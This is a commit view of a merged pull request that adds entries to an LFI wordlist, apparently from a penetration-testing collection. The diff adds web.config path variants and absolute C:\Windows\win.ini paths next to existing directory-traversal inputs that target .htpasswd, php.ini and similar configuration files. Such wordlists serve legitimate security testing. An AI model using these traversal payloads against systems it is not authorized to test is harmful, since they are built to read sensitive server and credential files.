Merge pull request #1029 from exploide/LFI-Jhaddix-additions

LFI: added absolute C:\Windows\win.ini paths and web.config
This commit is contained in:
g0tmi1k 2024-06-11 16:04:18 +01:00 committed by GitHub
commit fc8f848a51
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -83,6 +83,11 @@ C:\boot.ini
C:/inetpub/wwwroot/global.asa C:/inetpub/wwwroot/global.asa
C:\inetpub\wwwroot\global.asa C:\inetpub\wwwroot\global.asa
c:\inetpub\wwwroot\index.asp c:\inetpub\wwwroot\index.asp
web.config
/web.config
\web.config
../web.config
..\web.config
/config.asp /config.asp
../config.asp ../config.asp
config.asp config.asp
@ -781,6 +786,8 @@ users/.htpasswd
/Volumes/webBackup/private/etc/httpd/httpd.conf.default /Volumes/webBackup/private/etc/httpd/httpd.conf.default
/web/conf/php.ini /web/conf/php.ini
/WINDOWS\php.ini /WINDOWS\php.ini
C:\Windows\win.ini
C:/Windows/win.ini
../../windows/win.ini ../../windows/win.ini
../../../../../../../../windows/win.ini ../../../../../../../../windows/win.ini
..\..\..\..\..\..\..\..\windows\win.ini ..\..\..\..\..\..\..\..\windows\win.ini